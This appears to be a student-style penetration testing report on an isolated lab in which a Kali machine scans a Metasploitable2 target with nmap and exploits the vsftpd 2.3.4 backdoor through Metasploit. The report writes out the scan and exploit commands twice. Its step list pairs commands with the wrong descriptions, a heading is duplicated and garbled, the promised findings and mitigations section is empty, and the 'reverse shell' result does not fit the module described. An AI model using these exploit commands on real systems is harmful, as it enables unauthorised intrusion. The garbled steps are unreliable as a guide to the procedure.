Secure Network Lab: Penetration Testing Report

1. Project Overview

This report documents the creation and utilization of a secure virtual lab to simulate penetration testing on a vulnerable system. The goal was to understand network vulnerabilities, perform ethical hacking using tools like Nmap and Metasploit, and document findings with recommended mitigations.

- 2. Lab Setup
- 2.1 Tools Used
- 1. VirtualBox: To host virtual machines (VMs).
- 2. Kali Linux: Penetration testing system.
- 3. Metasploitable2: Vulnerable target VM.
- 4. Nmap: Network scanning tool.
- 5. Metasploit: Exploitation framework.
- 2.2 Virtual Machines Configuration

Attacker Machine:

OS: Kali Linux.

IP Address: 192.168.56.101.

Target Machine:

OS: Metasploitable2 (Ubuntu-based).

IP Address: 192.168.56.102.

Network Type: Host-Only Adapter for secure, isolated communication between VMs.

3. Testing Process
3.1 Reconnaissance with Nmap
Command Used:
nmap -sV -O 192.168.56.102
Findings: Port Service Version Vulnerability
21 FTP vsftpd 2.3.4 Backdoor vulnerability
3.2 Exploitation with Metasploit
Exploited Vulnerability:
FTP Backdoor in vsftpd 2.3.4.
Steps:

1. Launched Metasploit using the command:

use exploit/unix/ftp/vsftpd_234_backdoor

2. Loaded the exploit module:

set RHOST 192.168.56.102

3. Set the target IP:

msfconsole

4. Executed the exploit:
exploit
Result:
Successfully gained a reverse shell on the target system.
3.3 Post-Exploitation Analysis
Actions Performed:
Enumerated system files.
Identified weak password hashes.
4. Findings and Mitigation Decomposed ations
4. Findings and Mitigation Recommendations
5. Conclusion
This project successfully demonstrated the process of setting up a secure lab, conducting penetration testing, and identifying vulnerabilities in a controlled environment. The insights gained can be used to understand real-world cyber threats and their mitigation techniques.
Commands Used
1. Nmap:
nmap -sV -O <target_ip></target_ip>
2. Metasploit commands:

msfconsole

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOST <Target_IP>

exploit